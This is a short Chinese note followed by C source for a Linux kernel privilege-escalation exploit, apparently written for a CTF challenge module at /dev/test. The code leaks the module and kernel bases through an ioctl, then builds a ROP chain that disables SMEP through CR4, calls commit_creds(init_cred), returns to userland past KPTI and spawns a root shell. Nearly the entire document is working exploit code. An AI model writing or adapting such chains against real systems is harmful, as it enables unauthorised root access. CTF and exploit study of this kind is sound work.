先读ko基址和栈上残留的内核基址,找gadget,利用提供的功能能直接跳转rop执行,需要绕一下smep和kpti
#define _GNU_SOURCE #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/wait.h> #include <sys/stat.h> #include <string.h> size_t user_cs,user_ss,user_rflags,user_sp; size_t commit_creds=0xcf720,prepare_kernel_cred=0; size_t prdi_r = 0x1b6c35; size_t init_cred = 0x1864660; size_t mov_cr4_rdi = 0xD; size_t swapgs_popfq_r = 0x11; size_t mov_rdi_rax_ret = 0x9; size_t ireq_ret = 0x15; size_t XyJrLzKpQvNmHtBrVwTsKxMfLdYnJqOpTy = 0; size_t leak_addr = 0; size_t _offset = 0x32a555; size_t swapgs_restore_regs_and_return_to_usermode = 0xc00ff0+0x36; void save_status() { __asm__( "mov user_cs,cs;" "mov user_ss,ss;" "mov user_sp,rsp;" "pushf;" "pop user_rflags;" ); puts("[*] status has been saved."); } size_t update_system_gadgets(size_t vmmbase){ commit_creds+=vmmbase; prdi_r+=vmmbase; init_cred+=vmmbase; swapgs_restore_regs_and_return_to_usermode+=vmmbase; } size_t update_testko_gadgets(size_t kobase){ swapgs_popfq_r+=kobase; mov_rdi_rax_ret+=kobase; ireq_ret+=kobase; mov_cr4_rdi+=kobase; } void getshell(){ if(!getuid()){ puts("[*]Root now"); system("/bin/sh"); } else{ puts("not root yet"); } } typedef struct { char buf1[32]; char buf2[512]; } a; int main() { save_status(); int fd = open("/dev/test", 2); a a; if (fd<0) perror("open"); strcpy(a.buf1, "gtwYHamW4U2yQ9LQzfFJSncfHgFf5Pjc"); for (int i = 0 ; i < 32; i++) *(a.buf1+i)^=0xf9; ioctl(fd, 0xDEADBEEF, &a); for (int i = 0 ; i < 0x200; i++) *(a.buf2+i)^=0xf9; XyJrLzKpQvNmHtBrVwTsKxMfLdYnJqOpTy = *(size_t*)(a.buf2); leak_addr = *(size_t*)(a.buf2+0xa8); leak_addr-=_offset; printf("[+] kobase 0x%llx\n", (long long)XyJrLzKpQvNmHtBrVwTsKxMfLdYnJqOpTy); printf("[+] vmbase 0x%llx\n", (long long)leak_addr); update_system_gadgets(leak_addr); update_testko_gadgets(XyJrLzKpQvNmHtBrVwTsKxMfLdYnJqOpTy); printf("[*]commit_creds: 0x%llx\n", (long long)commit_creds); size_t rop[0x500]; memset((char*)rop, 0, 0x500); int i = 0; rop[i++] = prdi_r; rop[i++] = 0x6f0; rop[i++] = mov_cr4_rdi; rop[i++] = prdi_r; rop[i++] = init_cred; rop[i++] = commit_creds; rop[i++] = swapgs_restore_regs_and_return_to_usermode; rop[i++] = 0; rop[i++] = 0; rop[i++] = (size_t)getshell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss; memcpy((char*)a.buf2, (char*)rop, 0x500); for (int i = 0; i < 0x500; i++) *(a.buf2+i)^=0xf9; ioctl(fd, 0xFEEDFACE, &a); return 0; }